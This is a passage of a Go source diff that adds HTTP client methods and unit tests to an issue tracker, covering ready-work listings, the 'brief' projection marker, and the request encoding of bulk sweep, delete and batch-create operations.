error) { + const op = "GetReadyWorkWithCountsAndTotal" + countParams, err := encode.ReadyBridgeCountParams(filter) + if err != nil { + return nil, 0, s.inexpressible(op, err) + } + rows, hasMore, err := s.readyBridgePage(ctx, op, filter) + if err != nil { + return nil, 0, err + } + if !hasMore { + return rows, len(rows), nil + } + var body apigen.ReadyCount + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpCountReadyWork, + Method: http.MethodGet, + Path: wire.PathReadyCount, + Query: countParams, + }, &body); err != nil { + return nil, 0, err + } + total := int(body.Total) + if total < len(rows) { + total = len(rows) + } + return rows, total, nil +} + +// readyBridgePage is the one listReadyWork request both bridge listings make, +// returning the rows and the server's has_more. +func (s *Store) readyBridgePage(ctx context.Context, op string, filter types.WorkFilter) ([]*types.IssueWithCounts, bool, error) { + params, err := encode.ReadyBridgeParams(filter) + if err != nil { + return nil, false, s.inexpressible(op, err) + } + var body apigen.ReadyPage + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpListReadyWork, + Method: http.MethodGet, + Path: wire.PathReady, + Query: params, + }, &body); err != nil { + return nil, false, err + } + // filter.Lite IS ReadyRequest.Brief — internal/workapi assigns one to the + // other — so the two doors have to stamp the same marker or the same request + // answers differently depending on which one it came in. That agreement is + // the whole of E-WorkFilter.Lite's retirement note. + rows := wireRows(body.Items, filter.Lite) + // The cap bounds the rows this client accepted off the wire, which for a + // cursorless operation is one page. It still fires: a caller whose page is + // wider than their cap gets exit 2 rather than a silently oversized answer. + if filter.MaxRows > 0 && len(rows) > filter.MaxRows { + return nil, false, &storageops.ErrTooManyRows{ + Found: len(rows), + Cap: filter.MaxRows, + Source: filter.MaxRowsSource, + } + } + return rows, body.HasMore, nil +} + +// GetIssue serves getIssue. It is the `bd list --parent` walk's +// parent-existence probe and the molecule loader's read half. +// +// A MISS IS (nil, nil), NOT AN ERROR. That is the raw method's own contract and +// the walk depends on it: getHierarchicalChildren reads a nil result as "parent +// issue not found" and prints that, where an error would print the transport's +// vocabulary instead. +func (s *Store) GetIssue(ctx context.Context, id string) (*types.Issue, error) { + if id == "" { + return nil, nil + } + path, err := wire.IssuePath(id) + if err != nil { + return nil, err + } + // Neither row list: this is the existence probe and the loader's read, and + // both discard everything but the row. Asking for dependents and comments + // would buy two joins nobody reads. + var details types.IssueDetails + err = s.dispatch(ctx, wire.Request{ + Op: wire.OpGetIssue, + Method: http.MethodGet, + Path: path, + Query: url.Values{}, + IssueID: id, + }, &details) + if errors.Is(err, issueops.ErrNotFound) { + return nil, nil + } + if err != nil { + return nil, err + } + // The detail view carries labels in a field of its OWN rather than on the + // embedded issue, and the local GetIssue hydrates them onto the issue. + // Lifting them across is what makes the two answers the same value — the + // same correction getIssuesByExactID makes for the resolver's fast path. + issue := details.Issue + if len(issue.Labels) == 0 && len(details.Labels) > 0 { + issue.Labels = append([]string(nil), details.Labels...) + } + // Issue.RowVersion is json:"-", so the decode above left it at 0 and + // Revision — getIssue's only wire spelling of the token — carries the real + // value. A molecule loader (or any other caller of this read) that then + // guards a write off issue.RowVersion must see the row's actual token, not + // every row's as though none had ever been written. + version, err := parseRevision("getIssue", details.Revision) + if err != nil { + return nil, err + } + issue.RowVersion = version + return &issue, nil +} diff --git a/internal/httpclient/brief_test.go b/internal/httpclient/brief_test.go new file mode 100644 index 000000000..fbe70fba2 --- /dev/null +++ b/internal/httpclient/brief_test.go @@ -0,0 +1,157 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/brief_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// THE BRIEF DOOR: the projection marker, stamped client-side. +// +// `brief` is a request parameter on GET /v0/beads/issues and GET +// /v0/beads/ready (#5586) and this client sends it on both pages plus the ready +// bridge, so the server leaves the six heavy text columns unselected and the +// rows come back with them zero-valued. What does NOT come back is the fact that +// they were projected: types.Issue.IsLitePartial is `json:"-"`, so it never +// crosses, and a projected row is byte-identical to a genuinely textless one. +// +// THE ROW SAYS SO IN PROCESS AND THE WIRE SAYS SO BY HAVING BEEN ASKED, which is +// upstream's own resolution of the ambiguity (issueops/reader.go, ListRequest. +// Brief: "a wire consumer distinguishes them by having asked"). This client IS +// the consumer that asked, so it is the layer that can stamp — and it is the +// only one: the server cannot send a member the type does not marshal, and a +// caller above this seam has no way to know which of its rows came from a +// projected page. +// +// WHY IT IS NOT OPTIONAL. backend/conformance/reader_contract.go's +// assertReaderBriefRow hard-fails a projected row carrying IsLitePartial=false — +// "a blank body and a genuinely textless one are indistinguishable without it" — +// so the three Brief contracts cannot be adopted by any leg that does not stamp. +// That is why deferring the marker to this wave was safe: the contract forces +// it, loudly, at the moment the contract is wired. + +// briefWire answers each page with one row whose heavy text is EMPTY, which is +// what a `brief` page really looks like on the wire — and is exactly why the +// marker cannot be inferred from the payload. +type briefWire struct { + recordingWire + lastQuery string +} + +func (b *briefWire) Do(ctx context.Context, req wire.Request, out any) error { + b.lastQuery = req.Query.Get("brief") + row := apigen.IssueWithCounts{Issue: &types.Issue{ID: "http-brief-1", Title: "t"}} + switch body := out.(type) { + case *apigen.ReadyPage: + *body = apigen.ReadyPage{Items: []apigen.IssueWithCounts{row}} + return nil + case *apigen.IssuesPage: + *body = apigen.IssuesPage{Items: []apigen.IssueWithCounts{row}} + return nil + } + return b.recordingWire.Do(ctx, req, out) +} + +func briefStore(t *testing.T) (*Store, *briefWire) { + t.Helper() + w := &briefWire{} + return New(testTarget(t), w, &apigen.ContextResponse{}), w +} + +// TestBriefListingsStampTheProjectionMarker covers all THREE doors the parameter +// reaches: the listing, the ready page, and the off-role ready bridge whose +// legacy WorkFilter.Lite IS ReadyRequest.Brief under another name. +// +// The three are checked together rather than one per case because the bug this +// pins is asymmetric wiring: a client that stamped the listing and not the ready +// page would answer the same request two ways depending on which door it came +// in, which is the exact disagreement E-WorkFilter.Lite's ledger row warns about. +func TestBriefListingsStampTheProjectionMarker(t *testing.T) { + ctx := context.Background() + + for _, tc := range []struct { + name string + brief bool + }{ + {"projected", true}, + {"hydrated", false}, + } { + t.Run(tc.name, func(t *testing.T) { + store, w := briefStore(t) + reader, err := store.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + + list, err := reader.List(ctx, issueops.ListRequest{Brief: tc.brief}) + if err != nil { + t.Fatalf("List(): %v", err) + } + assertBriefMarker(t, "Reader.List", list.Items, tc.brief) + assertBriefParam(t, "Reader.List", w.lastQuery, tc.brief) + + ready, err := reader.Ready(ctx, issueops.ReadyRequest{Brief: tc.brief}) + if err != nil { + t.Fatalf("Ready(): %v", err) + } + assertBriefMarker(t, "Reader.Ready", ready.Items, tc.brief) + assertBriefParam(t, "Reader.Ready", w.lastQuery, tc.brief) + + // StatusOpen is not decoration: the bridge's derived-default + // inversion refuses any other status, because listReadyWork + // publishes none and the server re-derives exactly this one. Every + // real `bd ready` filter carries it for the same reason. + bridged, err := store.GetReadyWorkWithCounts(ctx, types.WorkFilter{ + Status: types.StatusOpen, + Lite: tc.brief, + }) + if err != nil { + t.Fatalf("GetReadyWorkWithCounts(): %v", err) + } + assertBriefMarker(t, "the ready bridge", bridged, tc.brief) + assertBriefParam(t, "the ready bridge", w.lastQuery, tc.brief) + }) + } +} + +// assertBriefMarker holds one page's rows to the marker the request earned. +// +// BOTH DIRECTIONS ARE ASSERTED, and the false one is not filler: a client that +// stamped unconditionally would tell every caller of an ordinary `bd list` that +// its rows are partial, which sends a consumer to refetch a body it already has +// — the same cost as the missing stamp, pointed the other way. +func assertBriefMarker(t *testing.T, what string, rows []*types.IssueWithCounts, want bool) { + t.Helper() + if len(rows) == 0 { + t.Fatalf("%s answered no rows; this case cannot assert the marker on an empty page", what) + } + for _, row := range rows { + if row == nil || row.Issue == nil { + t.Fatalf("%s answered a row with no issue", what) + } + if row.IsLitePartial != want { + t.Errorf("%s returned IsLitePartial = %v on %s, want %v: a projected row and a genuinely textless one are indistinguishable without it", + what, row.IsLitePartial, row.ID, want) + } + } +} + +// assertBriefParam is the other half of the same statement: the marker must +// describe a projection that was actually REQUESTED. Stamping a row the server +// hydrated in full would be this client inventing the fact rather than reporting +// it. +func assertBriefParam(t *testing.T, what, got string, want bool) { + t.Helper() + if want && got != "true" { + t.Errorf("%s sent brief=%q, want %q — the marker has to describe a projection the request asked for", what, got, "true") + } + if !want && got != "" { + t.Errorf("%s sent brief=%q on a hydrated read, want it absent", what, got) + } +} diff --git a/internal/httpclient/bulk_roles_test.go b/internal/httpclient/bulk_roles_test.go new file mode 100644 index 000000000..efa535889 --- /dev/null +++ b/internal/httpclient/bulk_roles_test.go @@ -0,0 +1,872 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/bulk_roles_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "encoding/json" + "errors" + "reflect" + "slices" + "sort" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The three BULK writes — sweepIssues, deleteIssues, batchCreateIssues — at the +// role boundary, with no server in sight. +// +// What is provable here and nowhere else is the REQUEST: which members reached +// the wire, which refused before the dial, and which never reached it at all. +// The served tier (served_bulk_test.go) answers the other half — what the +// server does with them — and cannot see a dropped member, because a server +// only rejects the parameters it receives. + +func bulkSweeper(t *testing.T, w *stubWire) issueops.Sweeper { + t.Helper() + sweeper, err := stubStore(t, w).Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + return sweeper +} + +func bulkDeleter(t *testing.T, w *stubWire) issueops.Deleter { + t.Helper() + deleter, err := stubStore(t, w).Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + return deleter +} + +func bulkCreator(t *testing.T, w *stubWire) issueops.BatchCreator { + t.Helper() + creator, err := stubStore(t, w).BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + return creator +} + +// TestSweepSendsEveryNarrowingMemberExplicitly is the sweep's whole request +// mapping in one assertion, and the two BOOLEANS are why it exists. +// +// protect_referenced DEFAULTS ON over the wire — an unauthenticated surface is +// where a default must be the guarded one — while the role's zero value is off. +// A client that omitted a false one would silently turn `bd prune +// --ignore-references` into a protected sweep and report skips the caller never +// asked for: a NARROWER answer than the request, which is refuse-not-drop's +// failure class in the other direction. +func TestSweepSendsEveryNarrowingMemberExplicitly(t *testing.T) { + cutoff := time.Date(2026, 4, 1, 12, 0, 0, 0, time.UTC) + w := &stubWire{} + if _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{ + Actor: "sweeper", + Tier: issueops.SweepDurable, + ClosedBefore: &cutoff, + IDPattern: "bd-*", + ProtectReferenced: false, + DryRun: true, + }); err != nil { + t.Fatalf("Sweep(): %v", err) + } + + got := w.lastSweep + if got.Tier != apigen.Durable { + t.Errorf("tier = %q, want %q", got.Tier, apigen.Durable) + } + if got.Actor == nil || *got.Actor != "sweeper" { + t.Errorf("actor = %v, want \"sweeper\"", got.Actor) + } + if got.Pattern == nil || *got.Pattern != "bd-*" { + t.Errorf("pattern = %v, want \"bd-*\"", got.Pattern) + } + if got.ClosedBefore == nil || !got.ClosedBefore.Equal(cutoff) { + t.Errorf("closed_before = %v, want %v", got.ClosedBefore, cutoff) + } + if got.ProtectReferenced == nil { + t.Fatal("protect_referenced was omitted; the wire defaults it ON, so an omitted false is a protection the caller declined") + } + if *got.ProtectReferenced { + t.Error("protect_referenced = true for a request that asked for false") + } + if got.DryRun == nil || !*got.DryRun { + t.Errorf("dry_run = %v, want true", got.DryRun) + } +} + +// TestTheBulkWritesOmitABlankActorRatherThanSendingOne pins the one member +// whose EMPTY spelling the two sides disagree about. +// +// The role accepts an empty Actor — a deleted row leaves nothing to attribute +// the deletion on — and the server refuses an actor that is empty AFTER +// TRIMMING. So the test is the TRIM, not `!= ""`: a tab-and-space Actor is an +// accepted request against every local backend, and forwarding it would turn +// that request into a 400 on this backend alone. +func TestTheBulkWritesOmitABlankActorRatherThanSendingOne(t *testing.T) { + for _, actor := range []string{"", " ", "\t \n"} { + w := &stubWire{} + if _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{ + Tier: issueops.SweepEphemeral, Actor: actor, + }); err != nil { + t.Fatalf("Sweep(actor=%q): %v", actor, err) + } + if w.lastSweep.Actor != nil { + t.Errorf("sweep actor = %q for a blank Actor %q; the server refuses one that is empty after trimming", + *w.lastSweep.Actor, actor) + } + + w = &stubWire{} + if _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{ + IDs: []string{"bd-1"}, Force: true, Actor: actor, + }); err != nil { + t.Fatalf("Delete(actor=%q): %v", actor, err) + } + if w.lastDelete.Actor != nil { + t.Errorf("delete actor = %q for a blank Actor %q", *w.lastDelete.Actor, actor) + } + } + + // A blank Actor on the batch create is a REFUSAL rather than an omission: + // batchCreateIssues publishes actor as required, and the role's own contract + // says a create batch must name its creator. + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: " ", Items: []issueops.BatchCreateItem{{Issue: &issueops.Issue{Title: "t"}}}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("CreateBatch(blank actor) = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("a blank-actor batch create dialed %v", w.calls) + } + + // The pattern rides along: absent matches every bead in the tier, and + // sending an empty string would be a second spelling of the same request. + w = &stubWire{} + if _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepEphemeral}); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.Pattern != nil { + t.Errorf("pattern = %q for a request that named none", *w.lastSweep.Pattern) + } +} + +// TestSweepRefusesATierTheWireDoesNotPublish is the ONE refusal this role +// decides for itself, and it decides it because the tier is an ENUM the client +// has to map. Everything else the role's contract calls invalid — the +// require-a-filter gate, the glob — is refused by the server's own copy of the +// role, so re-deciding it here would be a second definition of the rule that +// keeps a workspace's history from being erased by an omission. +func TestSweepRefusesATierTheWireDoesNotPublish(t *testing.T) { + for _, tier := range []issueops.SweepTier{"", "wisps"} { + w := &stubWire{} + _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{Tier: tier, IDPattern: "*"}) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Sweep(tier=%q) error = %v, want ErrValidation", tier, err) + } + if len(w.calls) != 0 { + t.Errorf("Sweep(tier=%q) dialed %v; a request the role calls invalid must not reach a shared server", tier, w.calls) + } + } +} + +// TestSweepDoesNotWriteThroughTheCallersCutoff pins the pointer the role +// promises never to write through. A marshaler is a read today; the copy is +// what keeps it a read after the next helper is added. +func TestSweepDoesNotWriteThroughTheCallersCutoff(t *testing.T) { + cutoff := time.Date(2026, 4, 1, 12, 0, 0, 0, time.UTC) + w := &stubWire{} + if _, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{ + Tier: issueops.SweepDurable, ClosedBefore: &cutoff, + }); err != nil { + t.Fatalf("Sweep(): %v", err) + } + if w.lastSweep.ClosedBefore == &cutoff { + t.Error("the request body aliases the caller's cutoff pointer rather than copying it") + } +} + +// TestSweepResultCarriesEveryWireMember is the RESPONSE half of the sweep's +// mapping. SweepResult is deliberately not x-go-type-pinned, so the projection +// is hand-written and a member the server grows would otherwise be dropped in +// silence — a result whose numbers are quietly wrong about what was erased. +func TestSweepResultCarriesEveryWireMember(t *testing.T) { + w := &stubWire{swept: &apigen.SweepResult{ + DryRun: true, Swept: 3, Dependencies: 4, Labels: 5, Events: 6, + Skipped: apigen.SweepSkips{ + Pinned: 7, Referenced: 8, NotClosed: 9, + UnknownClosedAt: 10, ClosedAtOrAfterCutoff: 11, Unreadable: 12, + }, + ReferencedIds: &[]string{"bd-1"}, + }} + result, err := bulkSweeper(t, w).Sweep(t.Context(), issueops.SweepRequest{Tier: issueops.SweepEphemeral}) + if err != nil { + t.Fatalf("Sweep(): %v", err) + } + // Remaining and LiveDependent are skipped: OSS's wire publishes no + // `remaining` or structural-dependent skip member for either to decode out + // of (W-SweepRequest.Limit, W-SweepRequest.ProtectLiveDependents refuse the + // request members that would produce them), so no wire body — fully + // populated or not — can ever make this projection set them. + assertEveryFieldPopulated(t, "SweepResult", reflect.ValueOf(result), "Remaining") + assertEveryFieldPopulated(t, "SweepSkips", reflect.ValueOf(result.Skipped), "LiveDependent") + if !reflect.DeepEqual(result.ReferencedIDs, []string{"bd-1"}) { + t.Errorf("ReferencedIDs = %v, want [bd-1]", result.ReferencedIDs) + } +} + +// TestDeleteResultCarriesEveryWireMember is the same guard on the delete, whose +// result is likewise unpinned. +func TestDeleteResultCarriesEveryWireMember(t *testing.T) { + w := &stubWire{deleted: &apigen.DeleteIssuesResult{ + DryRun: true, Deleted: 2, Dependencies: 3, Labels: 4, Events: 5, + ReferencesUpdated: 6, Orphaned: &[]string{"bd-9"}, + }} + result, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{IDs: []string{"bd-1"}, Force: true}) + if err != nil { + t.Fatalf("Delete(): %v", err) + } + assertEveryFieldPopulated(t, "DeleteResult", reflect.ValueOf(result)) + if !reflect.DeepEqual(result.Orphaned, []string{"bd-9"}) { + t.Errorf("Orphaned = %v, want [bd-9]", result.Orphaned) + } +} + +// TestDeleteSendsTheIDsVerbatim pins that the client normalizes NOTHING. +// +// The role collapses duplicates and trims, and so does the server's copy of it. +// Doing it again here would be a second implementation of "which ids were +// named" on the one operation where a disagreement deletes the wrong rows — and +// normalizing in place would hand the caller back a shorter, reordered version +// of the list a CLI then echoes. +func TestDeleteSendsTheIDsVerbatim(t *testing.T) { + ids := []string{" bd-1 ", "bd-1", "bd-2"} + snapshot := append([]string(nil), ids...) + + w := &stubWire{} + if _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{ + IDs: ids, Actor: "deleter", Cascade: true, Force: true, DryRun: true, + }); err != nil { + t.Fatalf("Delete(): %v", err) + } + if !reflect.DeepEqual(w.lastDelete.Ids, snapshot) { + t.Errorf("ids = %v, want the caller's list verbatim %v", w.lastDelete.Ids, snapshot) + } + if !reflect.DeepEqual(ids, snapshot) { + t.Errorf("the caller's slice changed across the call: %v", ids) + } + for name, got := range map[string]*bool{ + "cascade": w.lastDelete.Cascade, "force": w.lastDelete.Force, "dry_run": w.lastDelete.DryRun, + } { + if got == nil || !*got { + t.Errorf("%s = %v, want true", name, got) + } + } + if w.lastDelete.Actor == nil || *w.lastDelete.Actor != "deleter" { + t.Errorf("actor = %v, want \"deleter\"", w.lastDelete.Actor) + } + // The body must not alias the caller's slice: a marshaler reads it, but a + // shared backing array is one helper away from a write. + if len(w.lastDelete.Ids) > 0 && &w.lastDelete.Ids[0] == &ids[0] { + t.Error("the request body aliases the caller's id slice rather than copying it") + } +} + +// TestDeleteRefusesAnUnusableIDList pins the refusals the role's own contract +// states, all of them decidable from the request alone. The empty case is the +// dangerous one: answering it as a cheerful "deleted 0" is how a caller whose +// id list came out empty concludes the workspace was already clean. +func TestDeleteRefusesAnUnusableIDList(t *testing.T) { + for _, ids := range [][]string{nil, {}, {" "}, {"bd-1", ""}} { + w := &stubWire{} + _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{IDs: ids, Force: true}) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Delete(%v) error = %v, want ErrValidation", ids, err) + } + if len(w.calls) != 0 { + t.Errorf("Delete(%v) dialed %v; a request the role calls invalid must not reach a shared server", ids, w.calls) + } + } +} + +// TestDeleteRefusesMoreIDsThanTheWireCarries is ledger row L-delete-bound's +// pin, and it asserts the boundary from BOTH sides: exactly the bound serves, +// one more refuses, and the refusal never dials. +// +// "Never dials" is the assertion that matters. What this row forbids is +// SPLITTING: two requests are two transactions and two history entries where +// the contract promises one, and the dependents guard — which can only see the +// ids in front of it — would refuse a pair the caller deliberately listed +// together. +func TestDeleteRefusesMoreIDsThanTheWireCarries(t *testing.T) { + ids := make([]string, maxDeleteIDs) + for i := range ids { + ids[i] = "bd-" + strings.Repeat("0", 4) + string(rune('a'+i%26)) + } + + w := &stubWire{} + if _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{IDs: ids, Force: true}); err != nil { + t.Fatalf("Delete(%d ids) at the bound: %v", maxDeleteIDs, err) + } + if len(w.calls) != 1 { + t.Errorf("a delete at the bound dialed %v, want one request", w.calls) + } + + w = &stubWire{} + _, err := bulkDeleter(t, w).Delete(t.Context(), issueops.DeleteRequest{IDs: append(ids, "bd-over"), Force: true}) + assertRefusedBy(t, err, "L-delete-bound") + if len(w.calls) != 0 { + t.Errorf("a delete over the bound dialed %v; it must refuse rather than split", w.calls) + } +} + +// TestDeleteSendsTheRowVersionPrecondition is the compare-and-delete guard's +// round trip, and it is the operation where getting the encoding wrong is worst: +// the close it mirrors leaves a row behind to compare afterwards and this leaves +// nothing at all. +// +// The absent leg is the one that matters. `expected_version` 0 is a legal token +// — the migration-0054 backfill left rows holding it — so a client that encoded +// "no guard" as 0 would arm a guard on every unguarded delete, and the requests +// it then refused would be exactly the ones aimed at never-written rows. +// +// The MULTI-ID refusal is deliberately NOT anticipated here. The wire refuses a +// guard beside more than one DISTINCT id, and distinctness is measured after +// trimming and collapsing duplicates — the same normalization this role sends +// its ids verbatim to avoid re-implementing, on the operation where a +// disagreement about which ids were named deletes the wrong rows. So that +// refusal is the server's, and the served tier asserts it end to end. +func TestDeleteSendsTheRowVersionPrecondition(t *testing.T) { + version := int64(9) + for _, tc := range []struct { + name string + want *int64 + req issueops.DeleteRequest + }{ + {name: "guarded", want: &version, req: issueops.DeleteRequest{ExpectedVersion: &version}}, + {name: "zero is a real token", want: new(int64), req: issueops.DeleteRequest{ExpectedVersion: new(int64)}}, + {name: "unguarded", want: nil, req: issueops.DeleteRequest{}}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{} + req := tc.req + req.IDs = []string{"bd-1"} + if _, err := bulkDeleter(t, w).Delete(t.Context(), req); err != nil { + t.Fatalf("Delete: %v", err) + } + assertExpectedVersion(t, "deleteIssues", w.lastDelete.ExpectedVersion, tc.want) + }) + } +} + +// TestBatchCreateRefusesMoreItemsThanTheWireCarries is L-batchcreate-bound's +// pin, on the same argument: the request IS the transaction. +func TestBatchCreateRefusesMoreItemsThanTheWireCarries(t *testing.T) { + items := make([]issueops.BatchCreateItem, maxBatchCreateItems) + for i := range items { + items[i] = issueops.BatchCreateItem{Issue: &issueops.Issue{Title: "t"}} + } + + w := &stubWire{} + if _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{Actor: "w", Items: items}); err != nil { + t.Fatalf("CreateBatch(%d items) at the bound: %v", maxBatchCreateItems, err) + } + if len(w.calls) != 1 { + t.Errorf("a batch at the bound dialed %v, want one request", w.calls) + } + + w = &stubWire{} + over := append(items, issueops.BatchCreateItem{Issue: &issueops.Issue{Title: "over"}}) + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{Actor: "w", Items: over}) + assertRefusedBy(t, err, "L-batchcreate-bound") + if len(w.calls) != 0 { + t.Errorf("a batch over the bound dialed %v; it must refuse rather than split", w.calls) + } +} + +// TestBatchCreateSendsTheItemMembersTheWireCarries is the item mapping, member +// by member. PRIORITY is the one to read twice: 0 is P0/critical and a real +// request, so it is sent always — an absent member is the workspace default, +// which would silently reprioritize every critical issue in a plan. +func TestBatchCreateSendsTheItemMembersTheWireCarries(t *testing.T) { + w := &stubWire{} + if _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{ + Issue: &issueops.Issue{ + Title: "the title", Description: "d", Design: "des", AcceptanceCriteria: "ac", + Priority: 0, IssueType: types.TypeBug, Assignee: "a", Labels: []string{"alpha"}, + }, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-9", Type: types.DepBlocks}}, + }}, + }); err != nil { + t.Fatalf("CreateBatch(): %v", err) + } + + body := w.lastBatchCreate + if body.Actor != "planner" { + t.Errorf("actor = %q, want \"planner\"", body.Actor) + } + if len(body.Items) != 1 { + t.Fatalf("items = %d, want 1", len(body.Items)) + } + item := body.Items[0] + if item.Title != "the title" { + t.Errorf("title = %q", item.Title) + } + if item.Priority == nil || *item.Priority != 0 { + t.Errorf("priority = %v, want an explicit 0: absent means the workspace default", item.Priority) + } + for name, got := range map[string]*string{ + "description": item.Description, "design": item.Design, + "acceptance_criteria": item.AcceptanceCriteria, "assignee": item.Assignee, + "issue_type": item.IssueType, + } { + if got == nil { + t.Errorf("%s was omitted for a populated field", name) + } + } + if item.Labels == nil || !reflect.DeepEqual(*item.Labels, []string{"alpha"}) { + t.Errorf("labels = %v, want [alpha]", item.Labels) + } + if item.Dependencies == nil || len(*item.Dependencies) != 1 { + t.Fatalf("dependencies = %v, want one edge", item.Dependencies) + } + if edge := (*item.Dependencies)[0]; edge.TargetId != "bd-9" || edge.Type != string(types.DepBlocks) { + t.Errorf("edge = %+v, want {bd-9 blocks}", edge) + } +} + +// TestBatchCreateReadsTheGeneratedIDsBackOffTheResponse pins the one fact the +// request cannot carry and every front door needs. +func TestBatchCreateReadsTheGeneratedIDsBackOffTheResponse(t *testing.T) { + w := &stubWire{created: &apigen.BatchCreateResponse{Items: []apigen.Issue{ + {ID: "bd-11", Title: "one", Labels: []string{"alpha"}}, + {ID: "bd-12", Title: "two"}, + }}} + result, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "one"}}, + {Issue: &issueops.Issue{Title: "two"}}, + }, + }) + if err != nil { + t.Fatalf("CreateBatch(): %v", err) + } + if len(result.Issues) != 2 { + t.Fatalf("Issues = %d, want 2", len(result.Issues)) + } + for i, want := range []string{"bd-11", "bd-12"} { + if result.Issues[i] == nil || result.Issues[i].ID != want { + t.Errorf("Issues[%d] = %v, want id %q in request order", i, result.Issues[i], want) + } + } + if labels := result.Issues[0].Labels; !reflect.DeepEqual(labels, []string{"alpha"}) { + t.Errorf("Issues[0].Labels = %v, want [alpha]: the snapshot is promised hydrated", labels) + } + if result.Issues[0] == result.Issues[1] { + t.Error("the result entries alias one issue") + } +} + +// TestBatchCreateDoesNotWriteThroughTheCallersItems pins the no-mutation +// promise, and the ID is the field that matters: the role assigns one and it +// must land on the RESULT, never on the caller's issue — an implementation that +// wrote it back would leave the caller's next create refusing its own struct as +// an occupied id. +// +// The whole request is compared, not just the id, because CreateBatchRequest +// travels by value: Items and the issues it points at are what a body could +// otherwise write through, and a label slice handed straight to a marshaler is +// one helper away from being written through too. +func TestBatchCreateDoesNotWriteThroughTheCallersItems(t *testing.T) { + issue := &issueops.Issue{ + Title: "caller owned", Priority: 2, IssueType: types.TypeTask, Labels: []string{"kept"}, + } + request := issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{ + Issue: issue, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-9", Type: types.DepBlocks}}, + }}, + } + snapshot := issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{ + Issue: &issueops.Issue{ + Title: "caller owned", Priority: 2, IssueType: types.TypeTask, Labels: []string{"kept"}, + }, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-9", Type: types.DepBlocks}}, + }}, + } + + w := &stubWire{created: &apigen.BatchCreateResponse{Items: []apigen.Issue{ + {ID: "bd-assigned", Title: "caller owned", Labels: []string{"kept", "server-added"}}, + }}} + result, err := bulkCreator(t, w).CreateBatch(t.Context(), request) + if err != nil { + t.Fatalf("CreateBatch(): %v", err) + } + if result.Issues[0].ID != "bd-assigned" { + t.Errorf("the assigned id is %q on the result, want bd-assigned", result.Issues[0].ID) + } + if issue.ID != "" { + t.Errorf("the caller's issue was stamped with id %q; the assigned id belongs to the result", issue.ID) + } + if !reflect.DeepEqual(request, snapshot) { + t.Errorf("CreateBatch mutated the caller's request:\n got %+v\nwant %+v", *request.Items[0].Issue, *snapshot.Items[0].Issue) + } + // The labels on the wire are a COPY: the request body outlives this call + // inside a marshaler, and a shared backing array would let it grow through + // the caller's slice. + if body := w.lastBatchCreate.Items[0].Labels; body == nil || &(*body)[0] == &issue.Labels[0] { + t.Error("the request body aliases the caller's label slice rather than copying it") + } +} + +// TestBatchCreateRefusesAShortAnswer pins the all-or-nothing read-back. A +// server answering a different length has no partial outcome to describe, so +// the client reports it rather than indexing into it. +func TestBatchCreateRefusesAShortAnswer(t *testing.T) { + w := &stubWire{created: &apigen.BatchCreateResponse{Items: []apigen.Issue{{ID: "bd-11"}}}} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "one"}}, + {Issue: &issueops.Issue{Title: "two"}}, + }, + }) + if err == nil { + t.Fatal("a two-item batch answered with one issue was accepted") + } +} + +// batchCreateRoleRefusedIssueMembers are the two members the ROLE refuses in +// its own right, before the wire is consulted: "Issue.Comments and +// Issue.Dependencies must be empty because edges are supplied through the +// item's own Dependencies". They earn ErrValidation rather than a ledger row, +// because a local backend refuses them too — this is not a divergence. +var batchCreateRoleRefusedIssueMembers = map[string]string{ + "Comments": "a create batch has no way to supply comments at all", + "Dependencies": "edges are supplied through the item's own Dependencies", 